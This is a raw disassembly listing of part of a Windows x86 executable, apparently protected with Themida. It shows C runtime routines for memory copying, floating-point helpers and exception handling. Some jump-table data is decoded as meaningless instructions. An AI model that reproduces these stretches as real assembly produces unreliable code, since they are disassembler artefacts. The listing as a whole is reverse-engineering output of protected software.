		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2C0
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2FC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8D4, offset sub_421935
		mov	off_43C8D0, eax
		mov	off_43C8D8, offset sub_42199B
		mov	off_43C8DC, offset sub_4218DB
		mov	off_43C8E0, offset sub_421983
		mov	off_43C8E4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2D8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
					; DATA XREF: Themida_:off_559B7Co
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB354
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
